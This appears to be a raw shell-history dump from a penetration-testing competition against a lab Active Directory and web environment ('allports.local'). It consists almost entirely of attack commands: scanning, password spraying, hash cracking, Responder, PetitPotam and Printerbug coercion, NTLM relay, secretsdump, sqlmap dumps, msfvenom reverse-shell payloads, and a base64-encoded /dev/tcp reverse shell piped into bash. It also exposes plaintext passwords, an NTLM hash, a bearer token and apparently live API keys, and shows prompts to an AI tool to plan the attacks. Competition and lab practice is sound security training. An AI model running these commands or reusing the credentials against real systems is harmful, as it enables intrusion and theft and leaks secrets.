_raw:
nikto -h http://10.0.1.9
mysql -h 10.0.1.99 -uroot -p
nc -vn 10.0.1.99 3306
telnet 10.0.1.99 3306
nmap -sVC -p- -T4 -oN scan_results.txt 10.0.1.0/24
ls
mousepad scan_results.txt
crackmapexec smb 10.0.1.6 -u '' -p ''
crackmapexec smb 10.0.1.6 -u '' -p '' --users
rpcclient -U "" -N 10.0.1.6
enum4linux -a 10.0.1.6
enum4linux-ng 10.0.1.6 -A
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectclass=user)" sAMAccountName userPrincipalName
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectclass=user)" | grep -i samaccountname
ldapsearch -x -H ldaps://10.0.1.6 -b "dc=allports,dc=local" "(objectclass=user)" sAMAccountName
crackmapexec smb 10.0.1.6 -u '' -p '' --shares
smbclient -N //10.0.1.6/SYSVOL
crackmapexec smb 10.0.1.6 -u '' -p '' -M spider_plus
crackmapexec smb 10.0.1.20 -u '' -p '' --shares
crackmapexec smb 10.0.1.21 -u '' -p '' --shares
nmap -p445 --script smb2-security-mode 10.0.1.20,10.0.1.21
curl -s http://10.0.1.13:8180/auth/realms/master/.well-known/openid-configuration | jq
sudo apt update
sudo apt install jq
curl -s http://10.0.1.13:8180/auth/realms/master/.well-known/openid-configuration | jq
curl http://10.0.1.13:8180/auth/admin/
curl http://10.0.1.13:8180/auth/realms/master/account/
curl -X POST http://10.0.1.13:8180/auth/realms/master/protocol/openid-connect/token \\
  -H "Content-Type: application/x-www-form-urlencoded" \\
  -d "client_id=admin-cli" \\
  -d "username=admin" \\
  -d "password=admin" \\
  -d "grant_type=password"
curl http://10.0.1.11/api/auth/user
curl http://10.0.1.11/api/users
curl https://10.0.1.11/api/config -k
mysql -h 10.0.1.13 -u root
mysql -h 10.0.1.13 -u root -proot
mysql -h 10.0.1.99 -u root


_raw: : 1767986861:0;impacket-secretsdump -sam sam -system system -security security LOCAL


_raw: : 1767986859:0;sudo responder -I eth0 -wv


_raw: : 1767986846:0;nxc smb 10.0.1.0/24 -u administrator -p 'Sails@way!' --local-auth


_raw: : 1767986803:0;ffuf -u http://10.0.1.13:8080/?FUZZ=home -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fl 654


_raw: : 1767986797:0;ffuf -u http://10.0.1.13:8080/?FUZZ=home -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -sl 654


_raw: : 1767986786:0;ffuf -u http://10.0.1.13:8080/?FUZZ=home -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt


_raw: : 1767986769:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1767986747:0;nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p 'Sails@way!'


_raw: : 1767986737:0;nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p Sails@way!


_raw:
: 1767986695:0;curl -k -X 'POST' \\
  'https://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1M2NjZWYwZTk4Mjc2ODk1NWJmZSIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2Nzk4NjQ3MywiZXhwIjoxNzY3OTg3MzczfQ.kY6ac00UCGR68YNBwlbapowrkACC6pbGrBKgX4zwLHE' \\
  -d '{\
  "select": ["*"],\
  "table": "system.namespaces",\
  "limit": 1000\
}'


_raw:
: 1767986685:0;$ curl -k -X 'POST' \\
  'https://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1M2NjZWYwZTk4Mjc2ODk1NWJmZSIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2Nzk4NjQ3MywiZXhwIjoxNzY3OTg3MzczfQ.kY6ac00UCGR68YNBwlbapowrkACC6pbGrBKgX4zwLHE' \\
  -d '{      \
  "select": ["*"],\
  "table": "system.namespaces",\
  "limit": 1000\
}'\
{"detail":"Invalid API key"}curl: (3) URL rejected: Malformed input to a URL function\
-d: command not found\
\
exit


_raw: : 1767986574:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1767986510:0;nxc smb -k --use-kcache 10.0.1.20 --user administrator


_raw: : 1767986360:0;impacket-secretsdump allports.local/'BFINN'@DECKHAND-01 -k -no-pass


_raw: : 1767986351:0;impacket-secretsdump allports.local/'DECKHAND-01$'@DECKHAND-01 -k -no-pass


_raw: : 1767986334:0;impacket-secretsdump @DECKHAND-01 -k -no-pass


_raw: : 1767986316:0;impacket-secretsdump /''@DECKHAND-01 -k -no-pass


_raw: : 1767986315:0;nxc smb 10.0.1.6 -u users.txt -p testpasswords.txt | grep +


_raw: : 1767986309:0;secretsdump.py /''@DECKHAND-01 -k -no-pass


_raw: : 1767986240:0;python token_handler.py encode REDACTED_EMAIL '2026-1-10 17:59' 1


_raw: : 1767986240:0;python token_handler.py encode REDACTED_EMAIL '2026-1-10 17:59' 11


_raw: : 1767986240:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1767986240:0;echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjA2LzQ0NDQgMD4mMQ==" | base64 -d | bash


_raw: : 1767986240:0;echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjA2LzQ0NDQgMD4mMQ==" | base64 -d


_raw: : 1767986240:0;echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjA2LzQ0NDQgMD4mMQ==" | base64 -d | sh


_raw: : 1767986240:0;git clone https://github.com/nationalcptc-teamtools/Stanford-university


_raw: : 1767986240:0;john --format=raw-md5 --wordlist=~/rockyou.txt --rules=all ~/hash.txt\


_raw: : 1767986148:0;crackmapexec smb 10.0.1.6 -u 'anonymous' -p 'password' --users


_raw: : 1767986136:0;crackmapexec smb 10.0.1.6 -u 'anonymous' -p '' --users


_raw: : 1767985958:0;git clone https://github.com/nationalcptc-teamtools/university-of-florida.git


_raw: : 1767985958:0;echo 'pentester:kali' | sudo chpasswd


_raw: : 1767985949:0;cat bruh.txt | grep lsass


_raw: : 1767985927:0;cat bruh.txt | grep rpcrt.dll


_raw: : 1767985689:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.204 10.0.1.6


_raw: : 1767985682:0;UUID    : 3C4728C5-F0AB-448B-BDA1-6CE01EB0A6D6 v1.0 DHCPv6 Client LRPC Endpoint


_raw: : 1767985651:0;Protocol: [MS-RSP]: Remote Shutdown Protocol


_raw: : 1767985650:0;Protocol: [MS-SAMR]: Security Account Manager (SAM) Remote Protocol


_raw: : 1767985639:0;Protocol: [MS-DRSR]: Directory Replication Service (DRS) Remote Protocol


_raw: : 1767985636:0;Protocol: [MS-LSAT]: Local Security Authority (Translation Methods) Remote


_raw: : 1767985635:0;UUID    : 04EEB297-CBF4-466B-8A2A-BFD6A2F10BBA v1.0 EFSK RPC Interface


_raw: : 1767985630:0;Protocol: [MS-RAA]: Remote Authorization API Protocol


_raw: : 1767985627:0;Protocol: [MS-NRPC]: Netlogon Remote Protocol


_raw: : 1767985627:0;[*] Retrieving endpoint list from 10.0.1.6


_raw: : 1767985627:0;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies


_raw: : 1767985479:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.204 10.0.1.6


_raw: : 1767985463:0;nxc smb 10.0.1.6 -u 'Administrator' -p '@nchor2024'  --shares --continue-on-success


_raw: : 1767985436:0;nxc smb 10.0.1.6 -u /tmp/users.txt  -p '@nchor2024'  --shares --continue-on-success


_raw: : 1767985376:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.203 LPORT=4444 -f elf -o rev-3.elf\


_raw: : 1767985347:0;echo "YWRtaW46cGFzc3dvcmQ" | base64 -d


_raw:
cd ~
cat password.txt
ip a
nc -lvnp 4444
nc -lvnp 8000
nc -lvnp 8096


_raw:
cd /usr/share/wordlists
ls
cd dirb
ls
cd ..
cd dirbuster
ls
nmap -sV -v -sC 10.0.1.99 -p-
nano hash.txt
cd ~
nano hash.txt
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
cd /usr/share/wordlists/dirb
ls
nano common.txt
sudo nano common.txt
dirb http://10.0.1.13:8080/ /usr/share/wordlists/dirb/common.txt
ls
cd ~
docker
ls
cd Downloads
ls
mv Jellypwn-main.zip ~
cd ~
ls
unzip Jellypwn-main.zip
cd Jellypwn-main
ls
docker
sudo apt install docker-cli
ls
bash build.sh -p 4444 -l 8096 -i 10.0.254.201
sudo systemctl start docker
ls /etc/sysctl.d
ls /etc/systemd
bash build.sh -p 4444 -l 8096 -i 10.0.254.201
sudo apt install docker.io
sudo systemctl enable docker --now
bash build.sh -p 4444 -l 8096 -i 10.0.254.201
sudo bash build.sh -p 4444 -l 8096 -i 10.0.254.201


_raw:
ip a
clear
touch md5_jellypwn.txt
nano md5_jellypwn.txt
john -h
john -h | grep md5
clear
cat ~/password.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt md5_jellypwn.txt
hashcat -m 0 md5_jellypwn.txt
hashcat -m 0 md5_jellypwn.txt /usr/share/wordlists/rockyou.txt
clear


_raw:
: 1767985081:0;bash\
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="<sk-cptc-your-key-here>"' >> ~/.bashrc\
source ~/.bashrc


_raw: : 1767985046:0;curl -fsSL https://claude.ai/install.sh | bash\


_raw: : 1767985026:0;sudo responder -I eth0 -v


_raw:
: 1767985014:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M gpp_autologin\
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M gpp_password


_raw: : 1767985003:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M gmsa


_raw: : 1767984973:0;impacket-ntlmrelayx -t http://10.0.1.20:5985 -smb2support --no-smb-server --no-http-server -c "whoami"


_raw: : 1767984947:0;sudo responder -I eth0 -v


_raw: : 1767984933:0;curl -vk https://bb-a101.rooms.allports.tours/diagnostics.html


_raw: : 1767984885:0;nxc smb 10.0.1.0/24 -u svc_stabilize -p 1gyroscope --shares


_raw: : 1767984877:0;nxc smb 10.0.1.0/24 -u svc_stabilize -p 1gyroscope


_raw: : 1767984844:0;impacket-ntlmrelayx -t http://10.0.1.20:5985 -smb2support --no-smb-server --no-http-server -c "whoami"


_raw: : 1767984829:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.204 10.0.1.6


_raw: : 1767984773:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.202 LPORT=4444 -f elf -o rev.elf


_raw: : 1767984722:0;impacket-secretsdump allports.local/administrator@10.0.1.20 -hashes :a4fa38e8e61d094ab455cecda06105d3


_raw: : 1767984663:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M gmsa


_raw: : 1767984654:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M laps


_raw: : 1767984636:0;hydra -L users_chat.txt -p 'letmein' 10.0.1.14 ssh


_raw: : 1767984631:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.20


_raw: : 1767984596:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.21


_raw: : 1767984584:0;impacket-secretsdump  allports.local/administrator@10.0.1.20 --hashes :a4fa38e8e61d094ab455cecda06105d3


_raw: : 1767984560:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M adcs


_raw: : 1767984516:0;nxc smb 10.0.1.6 -u 'Administrator' -p pass.txt  --shares --continue-on-success


_raw: : 1767984497:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M webdav


_raw: : 1767984493:0;impacket-secretsdump  administrator@10.0.1.20 --hashes :a4fa38e8e61d094ab455cecda06105d3


_raw: : 1767984454:0;sqlmap -r request2.txt --dbs --delay=1


_raw: : 1767984440:0;hashcat -a 0 -m 0 hashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1767984435:0;hashcat -a 0 -m 0 hashes.txt -w /usr/share/wordlists/rockyou.txt


_raw:
: 1767984421:0;clear\\
nmap --script smb-os-discovery 10.0.1.20


_raw: : 1767984368:0;hashcat -a 0 -m 0 hashes.txt /usr/share/wordlists/


_raw: : 1767984308:0;sudo gunzip rockyou.txt.gz


_raw: : 1767984298:0;hashcat -m 5600 acchashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1767984298:0;hashcat -m 5600 acchashes.txt /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767984298:0;sudo gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767984298:0;gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767984298:0;nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true


_raw: : 1767984298:0;nxc smb 10.0.1.6 -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true


_raw: : 1767984298:0;nxc smb 10.0.1.21 -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true


_raw: : 1767984298:0;nxc smb 10.0.1.20 -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true


_raw: : 1767984298:0;nxc smb hosts.txt -u '' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true


_raw: : 1767984298:0;nxc smb hosts.txt -u '' -p '' -M coerce_plus


_raw: : 1767984298:0;nxc smb hosts.txt -u '' -p '' -M coerce_plus -o M=Petitpotam L=10.0.254.202 ALWAYS=true


_raw: : 1767984298:0;tar -xf ~/Downloads/termshot_0.6.0_linux_amd64.tar


_raw: : 1767984298:0;tar -xfv ~/Downloads/termshot_0.6.0_linux_amd64.tar


_raw: : 1767984298:0;gzip -d ~/Downloads/termshot_0.6.0_linux_amd64.tar.gz


_raw: : 1767984298:0;gzip -d ~/Downloads/termshot_0.6.0_linux_amd64.tar.gz .


_raw: : 1767984298:0;gzip -d ~/Downloads/termshot_0.6.0_linux_amd64.tar.gz /


_raw: : 1767984298:0;git clone https://github.com/nationalcptc-teamtools/University-of-Central-Florida.git


_raw:
python3 -m http.server
mkdir tools
cd tools
ll
wget https://github.com/peass-ng/PEASS-ng/releases/download/20260101-f70f6a79/linpeas.sh
ll
python3 -m http.server
wget https://github.com/andrew-d/static-binaries/raw/refs/heads/master/binaries/linux/x86_64/ncat
python3 -m http.server


_raw:
curl -fsSL https://claude.ai/install.sh | bash
claude-code --version
claude-code
source ~/.zshrc
claude-code


_raw:
sudo su
tmux
vi .bashrc
tmux
reboot
tmux attach -t 1
sudo reboot
feroxbuster
ping https://chat.allports.tours/user/9
ll
vi hash.txt
cat password.txt
ll
john show hash.txt
john --show hash.txt
john hash.txt
cat hash.txt
vi hash.txt
ll
vi hash.txt
john --format=raw-md5 --wordlist=~/rockyou.txt --rules=all ~/hash.txt\
mysql -u boatuser -h 10.0.1.13 -p
mysql -u boatadmin -h 10.0.1.13 -p
mysql -u boatadmin -h 10.0.1.99 -p
mysql -u boatuser -h 10.0.1.99 -p
mysql -u boatuser -h 10.0.1.99 -p --skip-ssl
nmap -sCV -p 8081 10.0.1.11
ncat http://10.0.1.13:27017/
ping https://admin.rooms.allports.tours/
ping admin.rooms.allports.tours
git clone https://github.com/nationalcptc-teamtools/Stanford-university
cd Stanford-university/logging
ll
cd participant_env
ll
./setup.sh
ls -al
dc
cd
ls -al
vi .bashrc
ll
cat password.txt
ss -plunta
sudo su
nc -lnvp 5555
nc -lnvp 5555 > bin
ls -al
cp bin tools
cd tools
ls -al
ip a
curl%09http://10.0.254.206:8000
curl$IFShttp://10.0.254.206:8000
curl${IFS}http://10.0.254.206:8000
curl$IFS$9http://10.0.254.206:8000
bash
claude-code
source ~/.bsahrc
/bin/bash
sudo su
tmux
vi .bashrc
tmux
reboot
tmux attach -t 1
sudo reboot
echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjA2LzQ0NDQgMD4mMQ==" | base64 -d | sh
echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjA2LzQ0NDQgMD4mMQ==" | base64 -d
echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjA2LzQ0NDQgMD4mMQ==" | base64 -d | bash


_raw: : 1767984173:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.204 10.0.1.6


_raw: : 1767984054:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M daclread


_raw: : 1767984032:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M subnets


_raw: : 1767984018:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -L


_raw: : 1767983999:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M whoami


_raw: : 1767983939:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M get-network


_raw: : 1767983936:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.20


_raw: : 1767983920:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.21


_raw: : 1767983908:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M find-computer\


_raw: : 1767983897:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope


_raw: : 1767983890:0;sqlmap -r request.txt --dbs --delay=1


_raw: : 1767983859:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M adcs


_raw: : 1767983839:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -L


_raw: : 1767983827:4124;cat scans/network_scan.xml | claude "I am testing 10.0.1.10 machine on the network"


_raw: : 1767983751:0;mkdir -p findings/10.0.1.10/{screenshots,evidence,logs}


_raw: : 1767983735:0;mkdir -p /root/findings/10.0.1.10/{screenshots,evidence,logs}


_raw: : 1767983619:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.204 10.0.1.6


_raw: : 1767983609:0;sqlmap -u "https://chat.allports.tours/login/" --dbs --delay=1


_raw: : 1767983554:0;sqlmap -u "https://chat.allports.tours/login/" --dump --level=5 --risk=3


_raw: : 1767983547:0;ffuf -u http://10.0.1.10:9091/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt


_raw: : 1767983547:0;nxc smb 10.0.1.21 -u 'SVC_STABILIZE' -p '1gyroscope' --shares


_raw: : 1767983477:0;ffuf -u http://10.0.1.10:9091/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt


_raw: : 1767983459:0;ffuf -u http://10.0.1.10:9091/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/common.txt


_raw: : 1767983442:0;git clone https://github.com/bayfinn/allports.tours


_raw: : 1767983246:0;cat /tmp/users.txt | grep -i cloud


_raw: : 1767983244:0;gobuster dir -t 1 -u http://10.0.1.11/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1767983157:0;./CVE-2025-33073-checker.sh -u SVC_STABILIZE -p 1gyroscope -d allports.local -i file.txt


_raw: : 1767983138:0;./CVE-2025-33073-checker.sh -u SVC_STABILIZE -p 1gyroscope -d allports.local


_raw: : 1767983127:0;nxc smb 10.0.1.21 -u 'SVC_STABILIZE' -p '1gyroscope' --users


_raw: : 1767983121:0;nxc smb 10.0.1.21 -u 'SVC_STABILIZE' -p '1gyroscope' --shares


_raw:
git clone https://github.com/nationalcptc-teamtools/university-of-florida.git
cd university-of-florida
cd cptc2026-tools/setup
chmod 777 all.sh
./all.sh
sudo nmap -PE -PP -PS22,80,135,443,445,3389,5985 -sV -oX network-X.xml 10.0.1.0/24
sudo nmap -p- -Pn -sC -sV -O -oX 10.0.1.11.xml 10.0.1.11
curl -fsSL https://claude.ai/install.sh | bash
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"
export ANTHROPIC_AUTH_TOKEN="[200~
export ANTHROPIC_AUTH_TOKEN="	\
sk-cptc-team10-key5-836f8e08-9413-47e1-9be9-b61147399a51"
claude-code -- version
bash
nmap -sV -sC -p 22,9000,9091 -A 10.0.1.10 -oA 10.0.1.10_detailed.xml
nmap -p- --min-rate 1000 10.0.1.10 -oA 10.0.1.10_allports.xml
claude-code --version
which claude-code
which claude
claude --version
nmap -sV -oN scans/network_scan.txt -oX scans/network_scan.xml 10.0.1.0/24
mkdir -p scans
nmap -sV -oN scans/network_scan.txt -oX scans/network_scan.xml 10.0.1.0/24
ls
cat network-X.xml | claude "Based on this scan, what commands should I run to test 10.0.1.10?"


_raw: : 1767983117:0;nxc smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' --shares


_raw: : 1767983111:0;nxc smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' --users


_raw: : 1767983107:0;nxc smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' --uesrs


_raw: : 1767983104:0;nxc smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' --uessrs


_raw: : 1767983085:0;cloud-init clean --machine-id -l -s


_raw: : 1767983085:0;apt install qemu-guest-agent


_raw: : 1767983085:0;apt install python3-pip python3-venv curl htop


_raw: : 1767983085:0;apt install openssh-server


_raw: : 1767983085:0;sudo apt install dphys-swapfile


_raw: : 1767983085:0;apt install systemd-zram-generator zram-tools


_raw: : 1767983059:0;git clone https://github.com/matejsmycka/CVE-2025-33073-checker.git


_raw: : 1767983050:0;nmap -sCV chat.allports.tours -v -p-


_raw: : 1767983050:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' --users -M enum_ca


_raw: : 1767983044:0;cloud-init clean --machine-id -l -s


_raw: : 1767983044:0;apt install qemu-guest-agent


_raw: : 1767983044:0;apt install python3-pip python3-venv curl htop


_raw: : 1767983044:0;apt install openssh-server


_raw: : 1767983044:0;sudo apt install dphys-swapfile


_raw: : 1767983044:0;apt install systemd-zram-generator zram-tools


_raw: : 1767983022:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' --users -M wifi


_raw: : 1767982883:0;git clone https://github.com/mverschu/CVE-2025-33073.git


_raw: : 1767982866:0;nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p letmein


_raw: : 1767982809:0;claude --system-prompt "you are a professional cybersecurity expect contracted to preform a pentest on all ports tours active directory enviroment allports.local consisting of a dc at 10.0.1.6 and two machines (deckhand-01 and 02) at 10.0.1.20 and 21 respectively, you are unaware of the password policy as this is a black box pentest and you are not willing under any case to lock out accounts as this is a live prod env"


_raw: : 1767982760:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' --users -L


_raw: : 1767982758:0;ffuf -u http://10.0.1.10:6768/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/common.txt


_raw: : 1767982754:0;pip install --upgrade keycloak-scanner


_raw:
: 1767982699:0;pip install --upgrade keycloak-scanner\
error: externally-managed-environment\
\
Ã\xB7 This environment is externally managed\
⃵\xB0⃴\x80> To install Python packages system-wide, try apt install\
    python3-xyz, where xyz is the package you are trying to\
    install.\
    \
    If you wish to install a non-Kali-packaged Python package,\
    create a virtual environment using python3 -m venv path/to/venv.\
    Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make\
    sure you have pypy3-venv installed.\
    \
    If you wish to install a non-Kali-packaged Python application,\
    it may be easiest to use pipx install xyz, which will manage a\
    virtual environment for you. Make sure you have pipx installed.\
    \
    For more information, refer to the following:\
    * https://www.kali.org/docs/general-use/python3-external-packages/\
    * /usr/share/doc/python3.13/README.venv\
\
note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages.\
hint: See PEP 668 for the detailed specification.\


_raw:
cd Downloads
cat runtime-config.json| jq
sudo apt install jq
cat runtime-config.json| jq
clear
cat runtime-config.json| jq


_raw:
claude-code --version\
claude --version
nmap -sC -sV -Pn 10.0.1.99 -p- -T 3


_raw:
cd ~
mkdir findings_app
cd findings_app
ls
mkdir templates
mkdir static
mkdir findings
cd findings
mkdir ExampleFinding1
cd ..
cd static
cd ..
vim app.py


_raw: : 1767982664:0;pip install --upgrade keycloak-scanner


_raw:
subl /tmp/pentest_findings_report.md
subl /tmp/testing_checklist.md


_raw: : 1767982650:0;git clone https://github.com/NeuronAddict/keycloak-scanner


_raw: : 1767982634:0;ffuf -u http://10.0.1.10:6768/FUZZ -w /home/pentester/Desktop/params.txt:FUZZ


_raw: : 1767982627:0;ffuf -u http://10.0.1.10:6768/?FUZZ -w /home/pentester/Desktop/params.txt:FUZZ


_raw:
neo4j
cat password
cat password.txt
cd
cat password.txt
sudo neo4j start
sudo neo4j stop
sudo neo4j status
sudo neo4j start
aliasr
bloodhound.py --zip -c All -d allports.local -dc APT-DC-01 -ns 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope'
bloodhound-python --zip -c All -d allports.local -dc APT-DC-01 -ns 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope'
bloodhound-python --zip -c All -d allports.local -dc APT-DC-01.allports.local -ns 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope'
rusthound
git clone https://github.com/NH-RED-TEAM/RustHound.git
cd RustHound
ls
make install
https://sh.rustup.rs -sSf | sh
bsah
bash
zsh
bash
lcurl https://sh.rustup.rs -sSf | sh
curl https://sh.rustup.rs -sSf | sh
make install


_raw: : 1767982592:0;ffuf -u http://10.0.1.10:6768/?FUZZ=true -w /home/pentester/Desktop/params.txt:FUZZ


_raw: : 1767982496:0;nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p @nchor2024


_raw: : 1767982379:0;nxc ldap apt-dc-01.allports.local  -u 'imiller' -p 'captain'


_raw: : 1767982373:0;nxc ldap apt-dc-01.allports.local  -u 'captain' -p '@nchor2026'


_raw: : 1767982367:0;nxc ldap apt-dc-01.allports.local  -u 'imiller' -p '@nchor2026'


_raw: : 1767982365:0;nxc ldap apt-dc-01.allports.local  -u 'imiller' -p '@nchor2025'


_raw:
ls
cd Downloads
ls
unzip cptc-ai-example.zip
ls
cd ..
ls
cd cptc-ai-example
ls
uv
sudo apt install uv
uv
uv sync
ls
sudo apt get
curl -LsSf https://astral.sh/uv/install.sh | sh
uv sync
cp config.yaml.example config.yaml
uv run main.py
ls
curl -fsSL https://claude.ai/install.sh | bash
claude --help
export
export ANTHROPIC_BASE_URL='https://ai.cyberrange.rit.edu"\
\
\
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc
export
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team7-key6-82859c44-645a-4141-8686-426894350d76"' >> ~/.bashrc
source ~/.bashrc
test
cd
ls


_raw: : 1767982362:0;nxc ldap apt-dc-01.allports.local  -u 'imiller' -p '@nchor2024'


_raw: : 1767982321:0;sudo apt install kerbrute


_raw:
nxc smb 10.0.1.6
nxc smb -u 'guest' -p '' 10.0.1.6
nxc smb 10.0.1.6 -u 'guest' -p ''
nxc smb 10.0.1.6 -u 'guest' -p '' -k
nxc smb 10.0.1.6 -u 'guest' -p '' --local-auth
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u '' -p '' --pass-pol
nxc smb 10.0.1.6 -u '' -p '' --rid-brute
nxc smb 10.0.1.6 -u '' -p '' --users
clear
nxc smb 10.0.1.20 -u '' -p '' --users
nxc smb 10.0.1.20 -u 'guest' -p '' --users
nxc smb 10.0.1.20 -u 'guest' -p '' --shares
nxc smb 10.0.1.21 -u 'guest' -p '' --shares
lookupsid.py
lookupsid.py -target-ip 10.0.1.20
lookupsid.py 10.0.1.20
lookupsid.py 10.0.1.20 -u guest
lookupsid.py 10.0.1.20/guest -no-pass
echo '10.0.1.21 DECKHAND-02' >> /etc/hosts
sudo echo '10.0.1.21 DECKHAND-02' >> /etc/hosts
sudo echo '10.0.1.21 DECKHAND-02'| sudo tee /etc/hosts
cat /etc/hosts
sudo echo '10.0.1.20 DECKHAND-01'| sudo tee /etc/hosts
cat /etc/hosts
sudo mousepad /etc/hosts
sudo vim /etc/hosts
sudo bash -c 'cat > /etc/hosts << EOF\
  127.0.0.1       localhost\
  127.0.1.1       pentester\
  ::1             localhost ip6-localhost ip6-loopback\
  ff02::1         ip6-allnodes\
  ff02::2         ip6-allrouters\
  EOF'\
cat /etc/hosts
sudo vim /etc/hosts
clear
